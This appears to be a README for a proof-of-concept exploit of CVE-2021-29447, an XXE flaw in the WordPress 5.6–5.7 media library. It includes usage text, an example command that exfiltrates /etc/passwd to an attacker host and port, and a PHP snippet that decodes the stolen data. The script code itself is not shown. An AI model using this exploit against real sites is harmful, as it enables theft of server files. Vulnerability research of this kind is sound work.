
Ein Proof-of-Concept-Exploit für eine Schwachstelle in der Medienbibliothek von WordPress 5.6
╔═╗╦ ╦╔═╗
║ ╚╗╔╝║╣────2021-29447
╚═╝ ╚╝ ╚═╝
Written By (Isa Ebrahim - 0xRar) on January, 2023
═══════════════════════════════════════════════════════════════════════════
[*] Title: Wordpress XML parsing issue in the Media Library leading to XXE
[*] Affected versions: Wordpress 5.6 - 5.7
[*] Patched version: Wordpress 5.7.1
[*] Installation version: PHP 8
═══════════════════════════════════════════════════════════════════════════
CVE-2021-29447: Ein Benutzer mit der Fähigkeit, Dateien hochzuladen (z. B. ein Autor), kann ein XML-Parsing-Problem in der Mediathek ausnutzen, was zu XXE-Angriffen führt. Dafür ist erforderlich, dass die WordPress-Installation PHP 8 verwendet. Bei einem erfolgreichen XXE-Angriff ist der Zugriff auf interne Dateien möglich. Dies wurde in WordPress Version 5.7.1 sowie in den älteren betroffenen Versionen durch ein Minor-Release behoben.
Dieses Skript ist einfach zu verstehen und auszuführen und automatisiert die Schritte, die erforderlich sind, um den XXE-Angriff auf die WordPress-Mediathek auszuführen.
usage: PoC.py [-h] [-l LHOST] [-p PORT] [-f FILE]
options:
-h, --help show this help message and exit
-l LHOST, --lhost LHOST your server ip address e.g. 10.0.2.15
-p PORT, --port PORT your server port e.g. 1337
-f FILE, --file FILE system file to read e.g. /etc/passwd
Beispiel:
$ python3 PoC.py -l 10.0.2.15 -p 8000 -f /etc/passwd
Um die Base64 zu dekodieren, verwenden/führen Sie das folgende PHP-Snippet aus:
<?php
echo zlib_decode(base64_decode('base64_here'));
?>
$ php decode.php